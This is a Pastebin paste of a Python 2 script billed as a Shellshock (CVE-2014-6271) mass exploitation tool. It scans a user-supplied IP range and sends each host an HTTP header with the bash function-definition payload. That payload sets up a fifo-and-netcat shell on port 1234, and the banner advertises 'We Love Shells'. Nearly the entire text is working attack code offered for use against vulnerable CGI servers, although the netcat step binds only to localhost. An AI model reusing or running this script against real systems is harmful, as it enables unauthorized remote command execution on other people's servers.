Advertisement
Guest User

ShellShock CGI Bash Script tool

a guest
Sep 26th, 2014
1,743
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.17 KB | None | 0 0
  1. #CVE-2014-6271 cgi-bin reverse shell
  2. # NOTE :- This Script is not Mine, Just modded it for better use. ~ Un_N0n - mirror via Cyberwarzone.com
  3.  
  4. import httplib,urllib
  5.  
  6. print '\tCVE-2014-6271 mass exploitation tool\n'
  7. print '\tReverse shell returned on port 1234 ;) *We Love Shells*\n'
  8.  
  9. url = raw_input("Enter The First Three Octets To Scan [Example : xxx.xxx.xxx] : ")
  10. finput = input("Enter the Starting IP of Range to Scan : ")
  11. sinput = input("Enter the Ending IP of Range to Scan for : ")
  12. print
  13.  
  14. path = raw_input("Enter Vuln CGI Path : ")
  15.  
  16. for x in range(finput,sinput + 1):
  17. murl = url + "." + str(x)
  18. conn = httplib.HTTPConnection(murl)
  19. reverse_shell="() { ignored;};/bin/bash -c '/bin/rm -f /tmp/f; /usr/bin/mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f'"
  20. headers = {"Content-type": "application/x-www-form-urlencoded",
  21. "test": reverse_shell}
  22. conn.request("GET",path,headers=headers)
  23. res = conn.getresponse()
  24.  
  25. if str(res.status) == '200':
  26. print "[+] Website Present and Payload Successfully Sent To " + murl + path
  27. data = res.read()
  28. print data
  29. else:
  30. print "[!]" + murl + path + " Is Not Vulnerable."
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement